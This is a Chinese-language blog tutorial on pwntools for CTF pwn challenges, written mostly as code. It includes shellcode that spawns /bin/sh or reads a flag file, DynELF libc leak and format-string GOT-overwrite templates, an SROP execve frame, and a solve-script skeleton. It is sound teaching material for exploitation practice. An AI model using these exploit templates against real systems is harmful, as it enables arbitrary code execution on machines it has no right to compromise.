pwntools工具的使用(随时更新中...)-爱代码爱编程
pwntools工具的使用
引入pwntools库
# 虽然不太符合pylint代码规范
# 但官方也推荐这样引用
from pwn import *
基本的输入输出和交互
绑定要处理的程序
# 远程
# remote(ip/hostname, port)
p = remote("127.0.0.1", 8888)
# 本地
# 注意process中参数一定要有./
p = process("./pwn")
设置上下文环境
# 设置上下文环境主要用于一些需要上下文的漏洞利用
# 比如:shellcode的生成
# 设置操作系统
context.os = "linux"
# 设置32位的体系架构
context.arch = "i386"
# 设置64位的体系架构
context.arch = "amd64"
# 打印交互中的输入和输出
context.log_level = "debug"
# 也可以直接这样写
context(os="linux", arch="amd64", lod_level="debug")
# 清空之前的上下文
context.clear()
# 清空之前的上下文并设置为64位的体系架构
context.clear(arch="amd64")
获取程序输出
p.recv() # 默认接受最大为4096字节的输出
p.recvline() # 接受程序的一行输出
p.recvall() # 接受程序的当前全部输出,直到遇到EOF
# 直到接收到\n为止,drop=True表示丢弃\n,buf为接收到的输出但不包括丢弃的\n
buf = p.recvuntil("\n", drop=True)
payload的构造
pad = cyclic(0x10)
# 可以用上面的代码替代传统的构造方式 pad = b"A" * 0x10
# 其结果为 b'aaaabaaacaaadaaa'
offset = cyclic_find(b"daaa") # 找到当前pad的偏移值
实现输入
payload = b'hello!' # python3,payload为字节类型
p.sendline(payload) # 输入hello! + \n
p.send(payload) # 输入hello!
p.sendafter("test", payload) # 在接受到test后才发送payload
p.sendlineafter("test", payload) # 在接受到test后才发送payload + \n
实现交互
# 开启和程序交互的终端
# 一般用于获取到shell的情况
p.interactive()
获取程序或者libc中的信息
from pwn import *
pro = ELF("./program") # 加载样本
libc = ELF("./libc") # 加载libc
read_addr = pro.symbols["read"] # 获取read函数地址
read_plt = pro.plt["read"] # 获取read的plt表地址,内容等于symbols["read"]
read_got = pro.got["read"] # 获取read的got表地址
# search的参数为字节类型
# 获取字符串的位置
str_addr = next(pro.search(b"str"))
read_offset = libc.symbols["read"] # 获取libc中read的固定偏移值
bin_sh = next(libc.search(b"/bin/sh\x00")) # 获取/bin/sh的位置
shellcode的生成
# 32位的shellcode
from pwn import *
# 配置上下文
context(os="linux", arch="i386", log_level="debug")
code = shellcraft.sh() # 汇编代码
code = asm(code) # opcode,payload中都使用这个
# 64位的shellcode
from pwn import *
# 配置上下文
context(os="linux", arch="amd64", log_level="debug")
code = shellcraft.sh() # 同上
code = asm(code) # 同上
from pwn import *
# 上面是执行execve("/bin/sh\x00")的shellcode
# 下面展示直接读取flag文件然后打印的shellcode
context(os="linux", arch="amd64")
mmap = 0x12345678 # 可读可写内存区域
code = shellcraft.open("./flag")
code += shellcraft.read(3, mmap, 0x50)
code += shellcraft.write(1, mmap, 0x50)
code = asm(code)
# 更简洁的写法
code = asm(shellcraft.cat("flag"))
DynELF泄露libc
# 下面展示的是DynELF的使用模板
from pwn import *
p = process("./pwn")
pro = ELF("./pwn")
def leak(addr):
# 这里的代码比较抽象
# 其实目的就是利用能够回显字符的函数泄露addr,返回地址为start
# data接受的数据只能是回显的addr地址上的内容,将空字符处理为\x00
payload = padding + addr + start
p.send(payload)
data = p.recv()
return data
# 构造DynELF实例,第一个参数为leak函数,第二个为题目的ELF对象
d = DynELF(leak, elf=pro)
system = d.lookup("system", "libc") # 泄露出system的地址
print("system ====> ", system, hex(system))
# 实战链接
# https://blog.csdn.net/A951860555/article/details/111638914
# 详细的用法讲解,包括write/puts/printf三个函数的用法和细节处理
# https://www.anquanke.com/post/id/85129
FmtStr格式化字符串
from pwn import *
# 交互函数
def exec_fmt(pad):
p = process("./pwn")
p.sendline(pad)
info = p.recv()
return info
# 这里可以和上面的DynELF类比
fmt = FmtStr(exec_fmt)
offset = fmt.offset # 获取偏移
p = process("./pwn")
pro = ELF("./pwn")
printf_got = pro.got["printf"]
system_plt = pro.plt["system"]
# 格式化payload构造函数
# 总共四个参数:
# offset --> 偏移量
# writes --> {被覆盖的地址:要写入的地址}
# numbwritten --> 已经由printf函数写入的字节数,默认为0
# write_size --> 逐byte/short/int写入,默认是byte,这样发送的字节少
pad = fmtstr_payload(offset, {printf_got:system_plt})
p.send(pad)
# 详细的介绍链接 + 例子
# https://blog.csdn.net/A951860555/article/details/115061803
SROP工具SigreturnFrame
from pwn import *
# 64位
# sigreturn 代表可以触发sigreturn调用的地址
# 其gadgets如下,只要使rax = 0xf,然后进行系统调用
"""
0x001 mov rax, 0Fh
0x002 syscall
0x003 ret
"""
sigreturn = 0x001
syscall = 0x002 # syscall gadget
context.arch = "amd64"
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh_addr # "/bin/sh\x00"
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall
pad = padding + bytes(frame) # python3
p.send(pad)
p.interactive()
# 32位注意以下几个方面
# 1、上下文初始化
# context.arch = "i386"
# frame = SigreturnFrame(kernel="i386")
# 2、frame.eax = xx 注意寄存器的名字
# 3、syscall指令在32位下可以找int 80
pwntools简化模板
在做题的时候,我们的目的是快速的解出题目,使用下面简化后的函数名称和预制的代码,这样可以帮助每次做题时快速完成解题脚本。
from pwn import *
ld_path = ""
libc_path = ""
# p = process([ld_path, ""], env={"LD_PRELOAD":libc_path})
# p = process([ld_path, ""])
p = process("", env={"LD_PRELOAD":libc_path})
# p = process("")
# p = remote("")
# context.log_level = "debug"
r = lambda : p.recv()
rx = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)
rud = lambda x: p.recvuntil(x, drop=True)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
shell = lambda : p.interactive()
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/A951860555/article/details/110990925